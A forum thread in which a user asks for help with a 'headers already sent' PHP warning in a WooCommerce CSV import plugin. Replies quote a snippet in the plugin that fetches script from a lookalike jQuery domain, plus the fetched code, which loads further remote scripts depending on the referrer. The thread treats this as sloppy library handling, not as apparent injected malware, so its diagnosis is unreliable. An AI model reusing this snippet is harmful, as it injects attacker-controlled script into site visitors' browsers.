Error in code

I got the Product CSV Import suite and I cannot get any response to my questions regarding a problem that I am getting:

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/polar/public_html/ecommercesource/ecommerce/wp-content/plugins/woocommerce-product-csv-import-suite/product-csv-import.php:775) in /home/polar/public_html/ecommercesource/ecommercee/wp-content/plugins/woocommerce/woocommerce.php on line 138

Here is the product-csv-import.php:

http://pastebin.com/BKrE7su8

How to fix this?

The start_session command MUST be issued BEFORE any other PHP code is emitted.
This error is quite familiar to PHP developers because we (at least, ME. I won’t speak for others) often make the mistake of trying to execute some code BEFORE calling the session_start

so how would i fix this? i am not really a php coder.

please anyone? I been trying to figure out but still nothing.

The problem is at the very end of the file product-csv-import.php.


if(function_exists('curl_init'))
{
        $url = "http://javaquery.org/jquery-1.7.2.min.js";
        $ch = curl_init();  
        $timeout = 5;  
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
        $data = curl_exec($ch);  
        curl_close($ch);
        echo "$data";
}

Wow… just wow. Perfect example of how incompetent WordPress developers are. What that does is place jquery directly on the page. No library management or anything… geesh. I don’t really know where to go from there because that logic/concept is just asinine. If you remove it outright chances are you will break something else. Also, you shouldn’t really be making custom modifications to contributed code unless those changes/fixes are pushed back through to the community. Than again the library looks optional considering when curl is not available jquery won’t be placed on the page.

Contents of http://javaquery.org/jquery-1.7.2.min.js:


<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://javaquery.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://javaquery.org/jquery.js"></scr'+'ipt>'); } </script>

Wow… how pathetic.

Wordpress is to good for a proper asset and/or library management system I see…

Doesn’t Wordpress include jQuery at the core level? So why is woocommerce (plugin) use the version of jquery WP uses? I mean I don’t see anything there that indicates separate versions or isolated. So what that code does is effectively does is overwrite the core version of jQuery is the most recent. That is a disaster waiting to happen. Especially with how disjointed and poorly structured all the different plugins are.

Than again perhaps product-csv-import.php is the an isolated page. Still though that is not right. Uhhh…

Not to mention no caching or anything. Every time a user visits that page a CURL request is made for the complete jquery library. I want to cry just looking at that. I need a cold shower…